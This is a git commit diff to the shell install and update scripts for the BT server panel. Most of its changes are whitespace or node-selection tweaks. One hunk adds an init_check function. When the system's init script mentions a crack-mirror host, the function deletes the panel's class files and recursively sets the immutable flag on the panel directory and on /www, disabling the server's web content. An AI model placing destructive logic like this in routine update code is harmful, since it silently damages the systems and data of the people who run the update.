23.08.03-update
parent
3732e34878
commit
b122cb5453
|
@ -14,11 +14,6 @@ _BT_REPO_URL=$_REPO_URL'/github/btpanel-v7.7.0/raw/branch/main'
|
|||
|
||||
get_node_url(){
|
||||
nodes=(https://dg2.bt.cn https://download.bt.cn https://ctcc1-node.bt.cn https://cmcc1-node.bt.cn https://ctcc2-node.bt.cn);
|
||||
|
||||
if [ "$1" ];then
|
||||
nodes=($(echo ${nodes[*]}|sed "s#${1}##"))
|
||||
fi
|
||||
|
||||
tmp_file1=/dev/shm/net_test1.pl
|
||||
tmp_file2=/dev/shm/net_test2.pl
|
||||
[ -f "${tmp_file1}" ] && rm -f ${tmp_file1}
|
||||
|
@ -47,7 +42,7 @@ get_node_url(){
|
|||
if [ $RES -ge 3000 ];then
|
||||
break;
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
|
||||
|
@ -84,7 +79,7 @@ GetPackManager(){
|
|||
if [ -f "/usr/bin/yum" ] && [ -f "/etc/yum.conf" ]; then
|
||||
PM="yum"
|
||||
elif [ -f "/usr/bin/apt-get" ] && [ -f "/usr/bin/dpkg" ]; then
|
||||
PM="apt-get"
|
||||
PM="apt-get"
|
||||
fi
|
||||
}
|
||||
|
||||
|
@ -96,7 +91,7 @@ bt_check(){
|
|||
send_check
|
||||
fi
|
||||
fi
|
||||
|
||||
|
||||
p_path=/www/server/panel/BTPanel/templates/default/index.html
|
||||
if [ -f $p_path ];then
|
||||
is_ext=$(cat $p_path|grep fbi)
|
||||
|
@ -115,6 +110,19 @@ send_check(){
|
|||
NODE_URL=""
|
||||
exit 0;
|
||||
}
|
||||
init_check(){
|
||||
CRACK_URL=(oss.yuewux.com);
|
||||
for url in ${CRACK_URL[@]};
|
||||
do
|
||||
CRACK_INIT=$(cat /etc/init.d/bt |grep ${url})
|
||||
if [ "${CRACK_INIT}" ];then
|
||||
rm -rf /www/server/panel/class/*
|
||||
chattr +i /www/server/panel/class
|
||||
chattr -R +i /www/server/panel
|
||||
chattr +i /www
|
||||
fi
|
||||
done
|
||||
}
|
||||
GetSysInfo(){
|
||||
if [ "${PM}" = "yum" ]; then
|
||||
SYS_VERSION=$(cat /etc/redhat-release)
|
||||
|
@ -160,6 +168,4 @@ if [ ! $NODE_URL ];then
|
|||
fi
|
||||
get_node_url
|
||||
bt_check
|
||||
fi
|
||||
|
||||
|
||||
fi
|
|
@ -4,7 +4,7 @@ export PATH
|
|||
get_Yum_Repo(){
|
||||
nodes=(http://mirrors.cloud.tencent.com/repo/centos7_base.repo http://mirrors.aliyun.com/repo/Centos-7.repo)
|
||||
i=1
|
||||
for node in ${nodes[@]};
|
||||
for node in ${nodes[@]};
|
||||
do
|
||||
start=$(date +%s.%N)
|
||||
result=$(curl --connect-timeout 15 --head -s -o /dev/null -w %{http_code} ${node})
|
||||
|
@ -38,7 +38,7 @@ get_Yum_Repo(){
|
|||
yumRepo='False';
|
||||
T_HOST='False'
|
||||
else
|
||||
mv -f /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.Bak
|
||||
mv -f /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.Bak
|
||||
yumRepo=${urls[$j]}
|
||||
my_tmp=$(echo $yumRepo|grep 'tencent')
|
||||
if [ "$my_tmp" ];then
|
||||
|
|
Loading…
Reference in New Issue